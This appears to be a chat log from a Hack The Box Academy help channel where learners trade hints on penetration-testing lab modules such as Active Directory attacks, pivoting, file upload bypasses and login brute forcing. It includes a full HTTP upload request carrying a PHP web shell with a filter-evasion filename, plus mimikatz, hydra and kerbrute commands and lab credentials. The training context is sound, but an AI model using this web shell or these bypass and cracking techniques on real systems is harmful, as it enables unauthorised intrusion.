[forest gust]

https://academy.hackthebox.com/module/162/section/1572 I have a question. I need to elevate privileges to administrator. Or I can find his password in the public domain.

[viral snow]

can i possibly get some help on AD enumeration & attacks skills assessment part 2? i cannot for the life of me transfer kebrute and powerview onto the windows machine. i've scp'd from the ssh jump box, i scp'd from my linux machine, i scp'd from the windows machine. nothing i'm doing is working. any hints, please?

[hexed lintel]

are you using xfreerdp

if you are using xfreerdp then use /drive:share,.

[safe star]

have you tried python http server or impacket smbserver?

[uneven cairn]

Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"

File Upload Attack
Blacklist Filters

im trying all extensinos and no one is working

[safe star]

use the list they linked in the section

[uneven cairn]

i already didit duh

[safe star]

the github repo?

[uneven cairn]

YES

[hexed lintel]

this will share a local directory from you linux to windows remote session

[uneven cairn]

THE SECLIST ONE

[viral snow]

Yes, but I had to use ssh -L 13389:172.16.7.50:3389 HTB-studebt@<target IP> in order to get xfreerdp to work.

[safe star]

thats not the only one

[viral snow]

I didn't think of that 😒

[uneven cairn]

believe me, i aleady dont need to try more extensions...

[hexed lintel]

transfer file from you linux to pivot machine, then pivot machine to the target
if you use ligolo-ng to portforward then it will be easier

[uneven cairn]

php2, php3, php4, php6, shtml, htm, html are the allowed, but arent renderizing the php code

[viral lotus]

you tried phtml?

[uneven cairn]

but that is for windows servers

[gray yacht]

This all depends on what information you have been able to enumerate and if you can use any of the information they provided you. You can DM me where you are, what you know, what you have, etc.

[viral snow]

ligolo-ng?

[uneven cairn]

im dealing with linux server

[safe star]

worked just fine for me

the extension isnt any of the ones u just listed

[safe star]

great pivoting tool

[hexed lintel]

https://www.youtube.com/watch?v=qou7shRlX_s&t=620s&pp=ygUJbGlnb2xvLW5n

you will thank me

[viral snow]

Never heard of it, but I guess I can give it a shot.

[hexed lintel]

https://arth0s.medium.com/ligolo-ng-pivoting-reverse-shells-and-file-transfers-6bfb54593fa5

plus this resource

[uneven cairn]

then give me a clue

[viral snow]

Awesome, thank you. Let's see how it goes.

[finite abyss]

Abusing HTTP misconfig - Hard assessment
I poisoned the cache with a RXSS payload that send the cookie to interactsh
Still I am not getting any response from Admin in logs

[safe star]

i suggest, if u have the time, to redo the pivot skill assessment with it

[hexed lintel]

+1

[finite abyss]

Do I need to include port in interactsh url, earlier labs didn't require port

[safe star]

are those the only extensions that were allowed to get uploaded?

you might get a better view in burp intruder

[uneven cairn]

Yes, I didn't know that the response extension could execute PHP code, I must have done some research on that with those that were allowed by the server backend, thanks anyway, by the way the seclist one wordlist does work

[safe star]

ik but its full of unneeded extensions

[foggy monolith]

Re: AD Enum > ACL Abuse Tactics — if adunn's password isn't in rockyou.txt (which it isn't, as I already tried it with Hashcat to no avail), then what wordlist is it in?

Never mind, John the Ripper found it. Seems to be my new favorite cracking tool given that it's much more accurate at finding things.

[safe star]

did you put the right format?

[limpid hemlock]

Hey anyone knws what payload to use to get a revershe shell in the end of skill assesment 2 in attacking common applications

[safe star]

did u check the version number?

[limpid hemlock]

It is a nagios x1 application

I tried to ececute a bash shell but didnt wrk

[hexed lintel]

huh, if you are using same wordlist, shouldn't both tool crack the hash???

[foggy monolith]

Should, but nope. John the Ripper cracks it while Hashcat exhausts, despite using rockyou.txt in both cases. Perhaps my row of 6-year-old GPUs is to blame, but they were working just fine with Hashcat this past spring.

Moving on: why is this happening in the DCSync lab? Any ideas? @cloud urchin?

[safe star]

u should get a reverse shell

already in bash

[limpid hemlock]

Mm dnt knw why i used rev shells created one

Started a netcat listner and al but no revshell got

[safe star]

why do u need revshells?

did u look up the version number?

[limpid hemlock]

Cause it asked to get a rev shell and get flG in the last question

[safe star]

you're talking about the revshells site right?

[limpid hemlock]

Yes

[safe star]

there is no need for that when there are automated exploits for the version

[limpid hemlock]

Ok

[foggy monolith]

Still curious as to why XRDP is doing this while MSRDP isn't when attempting the AD Enum > DCSync lab, despite attempts to connect using identical syntax in both cases.

[safe star]

same happened to me, had to use remmina

[foggy monolith]

Would KRDC work or not as well?

[limber river]

I used xfreerdp it works just fine

tbh rdp are kinda buggy in academy

[safe star]

not sure, never used it

[foggy monolith]

Wonder if Wayland is the problem then. In my case:

wlfreerdp /u:htb-student /p:'Academy_student_AD!' /w:$(math "3840*0.75") /h:$(math "2160*0.75") /v:$ip

Running Garuda Dr460nized + Plasma 6 + BlackArch tooling on my personal attack machine, for context.

[rocky estuary]

i'm doing the active directory module and i'm trying to use kerbrute with options -o to save the output to a file but its not working its creating an empty file

[limber river]

not sure what's the problem , I always use xfreerdp

[safe star]

you could try piping the output to tee -a out.file

might grab the ascii art and extra stuff tho

[rocky estuary]

i'm trying to grap only the users so i can use them for password spray

[limber river]

use >

[rocky estuary]

this will write everything including time etc can't use to password spray

[safe star]

kerbrute also does this just without the ascii art

[limber river]

use this , then parse yourself , use awk,grep

[safe star]

so u will have to filter

[rocky estuary]

oh i see okay i will try grep then

[novel lynx]

HELP! Attacking Domain Trusts - Child -> Parent Trusts - from Linux. I desperately need a hint on how I can obtain the NTLM hash for the Domain Admin user bross. I got the shell running, but I am lost from here.

[limber river]

you got DA ?

[novel lynx]

yes

[limber river]

then you can use one of the attack to get the hash of any user you want

use mimikatz

[safe star]

did you dump hashes?

[novel lynx]

I think this is where I am getting stuck, am i supposed to be using mimikatz in the shell? and if so, I have the hardest time transferring the tool to the shell

[limber river]

transfering shouldn't be hard , use http or smb

[novel lynx]

raisechild.py dumped some hashes

[novel lynx]

i tried both of those, but I can try again and hopefully you can tell me what I am doing wrong

[uneven sleet]

Hey there is there anyone into CTF I have something to discuss

[limber river]

send s screenshot of your command

[uneven sleet]

Sorry if I am middle of some discussion

[novel lynx]

running this on my attack box:

[safe star]

u will need to do a double transfer

[wild sage]

Need some help with the Command Injection skill assessment, just need a point in the right direction

[novel lynx]

like from the pwnbox, to the attack box, to the shell?

[safe star]

yes

[novel lynx]

trying now

[rocky estuary]

i came with this not sure if there something simpler cat valid.txt |grep USERNAME | cut -d ":" -f4 | cut -d "@" -f1 > v.txt

[limber river]

okay

[safe star]

try testing out the parameters

[cedar remnant]

hello guys is there anyone can give me hint about foothold in zephyer Pro lab i have tried alot of things but i couldnt make it

[limber river]

#welcome and go to the #1263635449335910531

[wild sage]

Trying to find the input location

[safe star]

a bit hard to help because there are a lot of parameters but you should be able to find the one

in the url

[shrewd tendon]

hello on the password attacks module in the network services i have found the credentials but i cannot connect to the RDP service

i get 'Connection reset by peer' error

any help

[novel lynx]

ok, i have mimikatz on my attack box:

both these commands aren't working:

[safe star]

now do the same thing but use the internal ip when using downloading from windows

[viral lotus]

Hi I am on the information Gathering - Web Edition - Skills assessment. I have the answers to all but: What is the API key in the hidden admin directory that you have discovered on the target system? I know where the hidden directory is but I have tried gobuster but I am at a bit of a dead end what to do

[novel lynx]

the internal ip was tripping me up, i got it on the shell now, thank you!

[rocky estuary]

i tried to use kerbrute with password spray but i get this error ERR_ETYPE_NOSUPP KDC has no support for encryption type

[novel lynx]

bross isn't listed 😭 what am i doing wrong now?

[limber river]

yoo don't spoil , also try others attack

or just read the ouput

[safe star]

try sekurlsa

[novel lynx]

i keep getting this error: mimikatz # sekurlsa::process lsass.exe
Switch to PROCESS

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Key import

[safe star]

did you privilege::debug first

[limber river]

why he is DA

and he need NTLM of administrator ?

so ....

[novel lynx]

i need NTLM of bross, unless I need to crack the hash of the administrator and then use those creds to enumerate bross?

[limber river]

you got a DA , you can get any NTLM

you just need the right technique , check the ACLs part in the course

[novel lynx]

checking

[safe star]

oh yeah, then try the method method they showed

[foggy monolith]

Update: KRDC doesn't work and Remmina doesn't work either. Going to have to spawn the PwnBox and try it from there.

[novel lynx]

is it ACL Abuse Tactics?

[limber river]

it's an ACL that is granted for DA

[novel lynx]

DA is short for Domain Admin right?

[limber river]

yeah

[old oasis]

DM me for a nudge

[toxic bronze]

How hackers access devices through a wifi?

[viral lotus]

just pinged you thanks

[novel lynx]

ya gpt isn't being helpful, and I'm not sure how to progress with your hints, been at this for close to 3 hours now sadly

[safe star]

magic

[foggy monolith]

Update 2: Even Remmina and xfreerdp on the PwnBox aren't working. Now what?

[toxic bronze]

Linux is the best way for hackers?

[limber river]

re-read this section Attacking Domain Trusts - Child -> Parent Trusts - from Windows

[safe star]

im not sure, remmina used to always work for me

[fierce veldt]

Is there any way to check when I completed a module in Academy?

[limber river]

go to badges -> shared link you will find it there

[foggy monolith]

Even using the machine's internal IP and attempting to connect from MSRDP on Target 1 doesn't work.

Everything returns "login failed for display 0." Is there another user and password I need to enumerate first?

[novel lynx]

can I dm you?

[limber river]

yeah

[fierce veldt]

lol tedious but works, thanks!

[foggy monolith]

Finally figured it out. The problem was I was attempting to use the same password for both machines.

[strong skiff]

Are we supposed to understand the results in the Service Scanning boxes initially? I just started the pentesting path. I'm reading through it all but I don't understand all of it to be honest.

[novel lynx]

messaged

[safe star]

Probably a little bit if you did some previous modules, but the more you scan the more you know what you’re looking at

The section breaks it down for you

[novel lynx]

@safe star

am I supposed to be doing a dcsync attack with mimi?

[strong skiff]

Understood, thank you.

[safe star]

iirc it should be the same attacks as the examples shown in the section

Dcsync and golden are the only mimikatz commands shown

[novel lynx]

ya

gpt is saying that the error is a permission issue, but i have the golden ticket

[safe star]

Don’t use gpt for that when you have the section in front of you

[novel lynx]

i'm only using gpt because I am big stuck

[safe star]

Gpt should help with explaining some commands and topics but it doesn’t really help in situations like this

[safe star]

The section has everything you need

[novel lynx]

the linux section has all I need, or the linux section plus the windows sections has all I need?

[safe star]

What part are u on?

[novel lynx]

After compromising the parent domain obtain the NTLM hash for the Domain Admin user bross.

i have the shell with mimi installed is where I am at currently

[safe star]

You should be using Linux methods on the Linux portion

[safe star]

You don’t need mimikatz for the Linux part

I thought u were on the previous section

[novel lynx]

i did this part:

there isn't anything in the section after this

[safe star]

Why not secrets dump using the user you made

The user should be an enterprise admin

@novel lynx u get it yet?

[novel lynx]

i'm retryng now

[toxic bronze]

In my office i suspected someone having access to my laptop.

And my phone too

[topaz cliff]

In XSS phishing assessment, when I want to send the link, I encounter this error: "Issue in sending URL!" I have tried multiple times and reconnected to the VPN connection several times.

[safe star]

Most likely your url then

[topaz cliff]

I checked the link. It works well, but I have the issue with sending.

[topaz cliff]

If we enter an invalid URL, the error message is "Invalid URL." Not "Issue in sending URL!"

[safe star]

Yeah, I just got that message but it worked the second try

[topaz cliff]

I havevtried more than 10 times 🙂

[safe star]

Did you restart?

[topaz cliff]

Yes multiple time

[safe star]

are those the correct credentials?

[safe star]

Hmm, yeah idk then, you switched vpns too right?

[topaz cliff]

Yes

[safe star]

Send me the the url

[safe star]

We can’t help you with that

[safe star]

I only get that error when I send its own url, so it might be your payload

[topaz cliff]

Sent

[cunning frigate]

hey can i dm

[quick laurel]

Dude you're awesome it helped so much it was so freaking simple now! have a nice weekend xD

[loud dagger]

to the people who have completed it, how long did the AD enum and attacks module take you?

[limber river]

10-15 days depends

[hard matrix]

About bruteforcing - Username Bruteforce section.

+ 0  Try running the same exercise on the question from the previous section, to learn how to brute force for users.

The command I am running is:

hydra -L /usr/share/wordlists/seclists/Usernames/Names/names.txt -p amormio -u -f 94.237.53.113 -s 30445 http-get /

This is identical to what seems to be expected from the module. I'm actually going a little nuts here because this seems like such a stupid thing to be stuck on.

[safe star]

5 days

[limber river]

huh

[safe star]

It’s really long

[hard matrix]

around 2wks

[loud dagger]

did you spend 24 hours a day on it or what

[limber river]

if he got prior knowledge it will be easy for him

[loud dagger]

oh yeah that's true

[safe star]

Nah but I was familiar with most of it until the ACL and cross forest stuff

Just stuff from tcm

[hard matrix]

did the pnpt?

[safe star]

Pjpt

[hard matrix]

still have a second retake of the pnpt, was mega unprepared and tried doing the full asessment during a workweek lol

[safe star]

They upped the price by 200 😭

[cloud urchin]

That's crazy... dang.

[limber river]

pjpt+ soon

[elfin dust]

hi, im starting at lineux privilege escalation module, but im stuck in the firts lab environment enumeration, the question is Enumerate the Linux environment and look for interesting files that might contain sensitive data. Submit the flag as the answer? but i search all the files and i cant find the flag, can anyone help me pls?

[uneven cairn]

hi

how i access to shell.php.\\.jpg

[cloud urchin]

what do you mean

[uneven cairn]

i already upload a web shell in that path, but i dont get in when i try to navegate there in url

[safe star]

Certain files arent seen unless you choose to see them

[uneven cairn]

neither shell.php/.jpg

[cloud urchin]

does the module tell you how to enumerate upload directories? if so have you tried those?

[uneven cairn]

what do you mean

[cloud urchin]

i don't know what module you're on so it's hard to help you

if you uploaded the shell maybe try looking at the source code

[uneven cairn]

File Upload Attacks

whitelist filters

I have already managed to identify how to bypass file type restrictions in the backend. I added a webshell to those payloads, but I don't know how to access it. I tried encoding it to URL but I still can't do it.

[cloud urchin]

idk what your shell code contains

can you reach your uploaded file?

[uneven cairn]

shell code?

[uneven cairn]

im telling you no and asking why

[nimble coyote]

Hola! Estoy atascado en el modulo de enumeración web. Cuando quiero ejecutar algunos de los comandos me salen solamente errores, no se si yo estoy haciendo algo mal o que? Si alguien puede darme una mano se los agradecería.

[uneven cairn]

only english taco

[nimble coyote]

Ok

[elfin dust]

and when i go to root, it said i dont have permission

[hushed sail]

you haven’t escalated your privileges. thats why

[cloud urchin]

i'd review the source code first

[uneven cairn]

why lol

I CANT REACH IT

[cloud urchin]

did you review the source code on the page you upload the file to?

[safe star]

you really need to know how the find command works for this question

look for HTB tho

[hushed sail]

in order to reach your uploaded web shell, you have to know the file path to use in the url to trigger it

[pastel wolf]

Hi everyone, I doing the Linux fundamentals module - Navigation section, for the What is the index number of the "sudoers" file in the "/etc" directory?
I keep receiving an error to my answer. I've used the right command to see the index number but it's not taking my answer.

[uneven cairn]

omg i know

[safe star]

u 99% wont find it manually

[hushed sail]

and to view the source code of the website you’re uploading to, you just use Ctrl+U

[safe star]

u need to make a find command that looks for the string HTB in each file

[uneven cairn]

i already view the source code

[cloud urchin]

so what you're expecting us to just tell you the answer?

[hushed sail]

¯_(ツ)_/¯

okay

[uneven cairn]

@fathom pendant

[hard matrix]

pretty bad way of soliciting help from strangers imo

[cloud urchin]

tom, we essentially gave you the answer without giving you the silver spoon that goes with it and you're not accepting it

maybe take the advice and review something you may have overlooked

[uneven cairn]

why are you spitting that out?

[hard matrix]

take a breather lil bro

[uneven cairn]

I don't know if you're looking for attention but Marcielee is not a stranger, has always helped in modules

[hushed sail]

yo let’s not let modules devolve into an argument

[safe star]

so did you find it?

[hushed sail]

marcie very likely also will not straight up give you the answer.

go back over the module if you have to. we told you what you needed to do.

[uneven cairn]

I'm not looking for the answer, I'm looking for someone with the ability to help and understand the questions, not just to be told to do something I've already done.

[safe star]

bro why not just ctrl+f and search for the name of your webshell?

[hushed sail]

good work. but delete that cause it’s still a spoiler

[pastel wolf]

For a index number of the specific file in a drectrory, there's two commands to use ls or stat correct? Am I missing a command?

[safe star]

pretty sure that was the only way to find it tbh

[uneven cairn]

With all due respect, if you don't know about a topic, just say so, don't waste my time.

[hushed sail]

@elfin dust delete the whole thing you wrote. it’s still a spoiler cause it gives away where the flag is lol

[uneven cairn]

Help? With what? In principle, all you have done is ask me to do things that I have already done. I am still waiting for some kind of help beyond trying to improvise support.

[hushed sail]

stop

[elfin dust]

ok, sorry, but why into that directory? i dont understand it

[safe star]

what exactly are u looking for? from what i seen they gave good directions

[safe star]

they just wanted you to use the find command correctly, it was way too deep to be common knowledge

[elfin dust]

maybe i can find it whit linpeas? i thought that directory isnt important to find files that containt sensitive information, ithougth / etc its important, /root its important but why that directory?

[safe star]

linpeas wouldnt flag a string like that

it was there just for us

[elfin dust]

ok tks for all the tips guys (Y)

[uneven cairn]

yes in fact it is a good direction but I don't know what I've been asking why I can't access the routes where it is already written and in a php executable format a web shell, it's not as simple as remembering the name because the evasion includes characters that confuse the behavior of the page, but even url encoding the characters to avoid their ambiguity I still can't get the file on the web page, what makes me angry is that they tell me what I already did and then treat me as if I were looking for the answer, if I were looking for it I would have asked I am asking something specific, if they are going to improvise and waste time it is better that they don't do it and do things right

[pastel wolf]

Hi everyone, For the Linux fundamentals module - Navigation section, for the What is the index number of the "sudoers" file in the "/etc" directory?
Is this question asking for an index number in a different context, such as a file's position in a directory listing or something else?

[safe star]

then its the wrong extension

[uneven cairn]

It is literally the same name and file extension as the one I uploaded to the server, that is why it concerns me

let me show you

[safe star]

i mean that maybe that extension wasnt gonna work anyway

and find another set

[uneven cairn]

Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://ip:port/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------395223586137621495382826115921

Content-Length: 268
Origin: http://ip:port
DNT: 1
Connection: close
Sec-GPC: 1

-----------------------------395223586137621495382826115921
Content-Disposition: form-data; name="uploadFile"; filename="shell.php.\\.jpg"
Content-Type: image/jpeg

<?php system($_REQUEST['cmd']); ?>
-----------------------------395223586137621495382826115921--
```  and this is the response:  ```HTTP/1.1 200 OK
Date: Thu, 26 Sep 2024 01:03:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 26
Connection: close
Content-Type: text/html; charset=UTF-8

File successfully uploaded```

http://ip:port/profile_images/shell.php.%5C%5C.jpg?cmd=ls I GET NO FOUND

[safe star]

yeah if you look in the source u can see it doesnt appear

you can assume that slashes just wont work in this case

[proper oar]

AD path - MSSQL module first part; not sure why this is not working - tried several variants including updated impacket. can ping and nmap the machine, service (mssql) is up on 1433, can rdp in and go about it that method but curious what the issue is here

[uneven cairn]

Not Found

The requested URL was not found on this server.
Apache/2.4.41 (Ubuntu) Server at ip Port port

[viral snow]

hey yall. i'm in AD Enumeratoin & Attacks Skills Assessment Part 2 Questoin 7. I'm trying to use mssqlclient.py but i keep getting a TimeoutError message. i used python3 and -windows-auth. are there any alternatives yall recommend?

[safe star]

its def there but the file wont load correctly with slashes

[hushed sail]

tack on a -windows-auth at the end of that command and let me know if that works

if you haven’t already and it’s just cut off in the screenshot

[proper oar]

i did try it, but that too was unsuccessful. Strange because I've used this many times and seem to regularly have an issue @hushed sail

[safe star]

ls -i

[uneven cairn]

You finally got to my initial question and you didn't get tangled up like them, but then how do I do that? There is also: shell.php%2F.jpg (shell.php/.jpg) which also uploads the file correctly, but the same problem occurs, I can't access the file, do you have any clue? I know I'm close.

[safe star]

try extension combinations that dont use slash

[next bronze]

there's a slash in the username

[pastel wolf]

Tried that but the answer is not being taken when I submit it

[safe star]

they gave you a script in the section, just edit what you do or dont need @uneven cairn

[uneven cairn]

The fuzzing result gives me only successful file upload results with the payloads I showed (they have slashes)

sorry

you let me got something, thank you im done here

[proper oar]

is that an issue? I've used it before successfully and HackTricks and what not recommend domain/username:pass@ip

[safe star]

u sure?

on the sudoers file?

[pastel wolf]

Yes I tried ls -I /etc/sudoers and stat /etc/sudoers

[safe star]

does it start with 1 and end with 7

[pastel wolf]

No, starts with 1 and ends with 8

[safe star]

try restarting the machine

[pastel wolf]

Okay trying it again

Yeah it's still the same outcome

[safe star]

send a screeshot in dm

[viral snow]

Any help with my question above?

[safe star]

have u tried impacket?

impacket-mssqlclient

[next bronze]

should probably use htb.local instead, and you don't have to give a domain name for mssql client

[viral snow]

Gonna try it

[next bronze]

huh

mssqlcient.py is impacket

[safe star]

ik but i thought those were older versions instead of aliases

[next bronze]

nah the impacket-x stuff is installed with apt which is not really the right way to install and can cause problems, and those are usually the older version since the apt repo is not updated regularly

[safe star]

yeah, that would make more sense

[viral snow]

That didn't work either 😩

[safe star]

you're goin through a pivot right?

or is this all on the attack machine

[viral snow]

Well that's the thing. Apparently im supposed to use mssqlclient on the jump box, and I'm also supposed to start http.server on the same jump box...which is confusing as heck. At least those are what the notes from a buddy of mine that completed the entire path 🤷🏽‍♂️

[safe star]

so are u doing everything on from jumpbox or tunneling stuff through it from your host machine?

[viral snow]

The only time I tunneled was when I SSH'd into HTB-student. That was the only way I can get xfreerdp to work.

[proper oar]

I just don't see what my issue is, now on updated impacket in a venv 😮

[viral snow]

But no, not everything I'm doing is from the jump box.

[safe star]

send a pic of the commands in dm

[viral snow]

Give me maybe about five minutes

[next bronze]

wait are you sure student is the right username to use and not just for rdp

in the mssqlcient command earlier in the section another username was used

[proper oar]

hmmmmmmmmmm I'll check

[uneven cairn]

Hello Xre0uS, would you please help me with my issue?

[proper oar]

but that's module 1 in the section

[next bronze]

yeah ws_dev

[proper oar]

x_x

[uneven cairn]

Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://ip:port/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------395223586137621495382826115921

Content-Length: 268
Origin: http://ip:port
DNT: 1
Connection: close
Sec-GPC: 1

-----------------------------395223586137621495382826115921
Content-Disposition: form-data; name="uploadFile"; filename="shell.php.\\.jpg"
Content-Type: image/jpeg

<?php system($_REQUEST['cmd']); ?>
-----------------------------395223586137621495382826115921--```

  and this is the response:  

```HTTP/1.1 200 OK
Date: Thu, 26 Sep 2024 01:03:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 26
Connection: close
Content-Type: text/html; charset=UTF-8

File successfully uploaded

http://ip:port/profile_images/shell.php.%5C%5C.jpg?cmd=ls  I GET NO FOUND```

[safe star]

i thought u got it?

all im gonna say is that it requires no special characters

[uneven cairn]

I was trying to add more file extensions to the script to see if other combinations would work.

[safe star]

yes and remove the special characters loop

it should be a pretty short list

[next bronze]

if you get not found that means the file isn't being uploaded correctly or it's not being saved to the server with the name you expect

[next bronze]

and also this ^

[uneven cairn]

"shell.$ext.$ext" ?

[safe star]

remove the . before the $ext and you will only need one $ext since they already add the other for you

[pine crag]

i got pump just from doing labs
sitting on chair for hours not that bad

[hard matrix]

no nitro but :gigachad:

[pine crag]

fr

[hard matrix]

anyone done the bruteforcing modules recently?
hydra is giving me

[ERROR] target ssh://83.136.254.37:43889/ does not support password authentication (method reply 4).

searches online + in the discord for other people running into this problem suggested they were still using port 22 for ssh.
built hydra from source and i'm using the correct port, a little confused

cmd im using is /tools/hydra/hydra -L {name}-usern.txt -P {name-pws}.txt ssh://83.136.254.37:43889

[cloud urchin]

which module nad which section exactly, also there's an error right there that say password authentication isn't supported.

[hard matrix]

it is though

Login Brute Forcing - Skills Assessment - Service Login

[cloud urchin]

why are you trying to ssh in as root

its a login brute force assessment

[hard matrix]

because you suggested that password authentication isn't supported, that was a proof that it is

it prompted me for a password - so it's supported. same host in #modules message

[cloud urchin]

ok double check your hydra command

[hard matrix]

¯_(ツ)_/¯

[cloud urchin]

you don't need to show all that

i'd suggest reviewing the service authentication brute forcing section

[hard matrix]

?

to get to this point in the module i've already done a hydra brute force against ssh

[sick whale]

bruteforcing SSH is usually a pain in the butt anyway no?
Any other service (easier to bruteforce) open that could potentially do pwd reuse?

(I've not done the module yet, so I'm just spewing an idea :p )

[hard matrix]

i've bruteforced ssh with hydra doing boxes on htb all the time, this is just bizarre and i feel like its due to the nonstandard ssh port and for some reason hydra won't take the custom port.

[cloud urchin]

compare your notes with the section that goes over it, specifically the command used.

[pine crag]

try medusa

[hard matrix]

not trying to be combative

i literally do not see what i am doing differently at all. -u -f are unrelated to this error

[cloud urchin]

maybe try restarting the target then

[pine crag]

try patator

[cloud urchin]

also what is /tools/hydra/hydra, instead of just 'hydra'

[next bronze]

pretty sure it's trying to access port 22 instead of the target port

[hard matrix]

please read what i said in the first message asking for help - i built it from source to make sure there wasn't a problem with the kali version of hydra

[hard matrix]

yeah, thats what i believe too.

[next bronze]

there's another way to specify the port

[hard matrix]

i specified -s but my messages are being deleted and got the same error

[sick whale]

Have you tried to add -vV to check connection messages?

Might give you details on what it is doing behind the scenes

[hard matrix]

really strange.

[DATA] attacking ssh://83.136.254.37:43889/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://harry@83.136.254.37:43889
[ERROR] target ssh://83.136.254.37:43889/ does not support password authentication (method reply 4).

port seems to be correct

maybe its just for that specific user?

[sick whale]

try ssh-ing manually using that user?

just to cross check

[eager ledge]

Why are you using username when specifying the hostname for hydra?

[hard matrix]

ahhhhh

[eager ledge]

You are already giving the username list using -L flag

[hard matrix]

I'm not, it's apart of the module - you create a custom user list. that's the -vV output; and the first line in my username list to spray is harry

[next bronze]

wireshark time

[sick whale]

I would reset the box first before looking at packets hahaha

[hard matrix]

lmao

[storm elk]

When I’m sure something should work and it doesn’t, I try pwnbox 😅

[sick whale]

That's a great suggestion too

[hard matrix]

vehement hatred of pwnbox

[eager ledge]

+1

[storm elk]

If it doesn’t work there, then I’m sure that I’m wrong

[sick whale]

Would isolate that it's your hydara build at least

[pine crag]

maybe needs the id_rsa

to authenticate

[sick whale]

I also hate pwnbox, but it does have its uses

[storm elk]

It’s a bruteforcing module

[hard matrix]

thought so too but after attempting the first login and adding 'yes' to known hosts its the same deal

very annoying thanks everyone

[sick whale]

Check pwnbox and report please, now we're involved 😄

[pine crag]

im still beginning in this field, wish i could help

[sick whale]

(Also I'm finishing the AD module and the bruteforce login one is coming soon haha)

[storm elk]

Which module are you working on?

[pine crag]

im about to finish Attacking Common Services in cpts path

[storm elk]

Nice!

[pine crag]

thanks

[eager ledge]

I just tried the same command and password authentication is supported. You should reset the target machine.

[sick whale]

@storm elk quick unrelated question: how are the badges (not the certs ones, or mods, obviously) awarded (Community contributor etc....) ?

[hard matrix]

Worked on pwnbox - absolute utter blasphemy

[sick whale]

hahahahahaha

[hard matrix]

now I have to worry about having to fix whatever the hell is wrong with my hydra installation

which really shouldn't be the case, building it from source

[sick whale]

what distro are you running?

[hard matrix]

Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 GNU/Linux

reinstalled hydra, built it from source, googled a bit

hopefully this helps someone who searches module chat history if they run into the same problem

[storm elk]

Community Contributors are selected/ voted for : #📣-announcements message

[hard matrix]

for what its worth, parrotbox is using Hydra v9.4 and i have Hydra v9.6dev (c) installed. it's probably due to something with the hydra versions

[sick whale]

Thanks

[storm elk]

Which other worlds would you like to know about?

[next bronze]

what about the seadris badge and the banned badge

[storm elk]

Lol oops. I meant which other badges would you like to know about

[sick whale]

I will just get the CPTS badge, that'll be a good start

[eager ledge]

What does seadris badge look like?

[storm elk]

That’s a beautiful one

[next bronze]

@haughty stirrup

or the alt @river lichen

[eager ledge]

I don't see any badges for BreadTora

[stark lark]

On another note, did you find the PW?

[hard matrix]

yep, make sure to read the hint

[stark lark]

I did, but it's quite slow because of ssh..

my lists are this long:

[hard matrix]

make sure all the lines conform to the password policy

[stark lark]

I already trimmed the PW list, from what I saw It was just the same rules as in the module

[hard matrix]

yeah, it'll take a little while

[stark lark]

Do you think -u will do any good? running with it currently.

Also thought of using the same username format as in the module e.g h.potter and let that run for itself

[azure bough]

Hi! Where can I go.
I mean for DANTE Labs suggestions.

I'm not able to understand what to do, I mean after pivoting etc
.. 😭

[wheat meadow]

Hello

[storm elk]

Please read #welcome . It will explain how to identify your account. You will receive access to #1263635449335910531 after that

[safe star]

yes, thats the only way it worked in my experience

[next bronze]

172.16.4.0/23 has a range of 172.16.4.0 - 172.16.5.255

[limber river]

it's a subnet not an ip (lot of ip)

starting from 172.16.4.0 end with 172.16.5.255

[next bronze]

you said it yourself that the pivot host has an ip of 172.16.5.129/255.255.254.0, so autoroute is opening that subnet

[limber river]

it's 255.255.254.0 so /23

and this will be 172.16.4.0

[limber river]

they was asking for the subnet

no

why ?

[wary plover]

then you should review the networking section

[ember furnace]

Hey, im trying to verificate mi mail and i have this error, we think tou are a bot try submiting the form how i can fix it? I cant acces my account at this point

[safe star]

I just use the regular gpt4

[storm elk]

Try a different browser. If that does not help, contact support via the website 🙂

[forest gust]

Can you tell me what I'm doing wrong?
Module Attacking Enterprise Networks

[limber river]

you add the subdomain to your /etc/hosts

?

[forest gust]

yep

[forest gust]

Any thoughts that could be wrong?

[limber river]

no idea

[ember furnace]

Maybe waiting a time the system not detect me as a bot?

[tribal plinth]

Can you try changing 'X-Custom-IP-Authorization' to 127.0.0.1?

[forest gust]

yes 1 sec

[storm elk]

Cloudflare can be tricky. When I try a different browser it usually works. Or have you been using a vpn provider

[limber river]

and maybe you should add a space after :

you already fixe it nice

[forest gust]

I just found the same problem on the forum before that, but there was no solution there either.

[ember furnace]

I tried with my phone, with my laptop (not using vpns) chrone and safari and nothing 😦 and the pending verification email never send to my email

[tribal plinth]

Are you using pwnbox?
Just checked on my instance and it's working as expected.

[forest gust]

no i using my kali

[tribal plinth]

Try with a different browser or updating the browser if it's outdated

[autumn pilot]

Double-check your /etc/hosts entries and additionally, you can try sending a GET/POST requests to see if they time out too

[forest gust]

GET/POST Work fine.

Initially, everything goes well. and at the moment with TRACK it breaks down

It's just that the first answer I get is the same as in the module.

[tribal plinth]

After adding X-Custom-IP-Authorization IP at the end do you press enter? Just to make sure there are 2 lines empty after it

[tribal plinth]

In this request I can see 9 & 10 are empty so it works
After adding you have to make sure it's the same

[forest gust]

No, there was no blank line. Everything is already working, thank you.

[tribal plinth]

Awesome!

[safe robin]

nothing worked

Firewall and IDS/IPS Evasion - Medium Lab

@tribal plinth

@shell ore

ok it worked with -PE -sC flag

[analog dock]

Why are you randomly pinging people

[cosmic obsidian]

How can i Solve this error. I am getting this problem in "VACCINE" Machine.

[analog dock]

This channel is not for machines

[cosmic obsidian]

anybody please help out?

[analog dock]

Only modules

[old oasis]

try #boxes

[cosmic obsidian]

Sure! Thanks

[shut vapor]

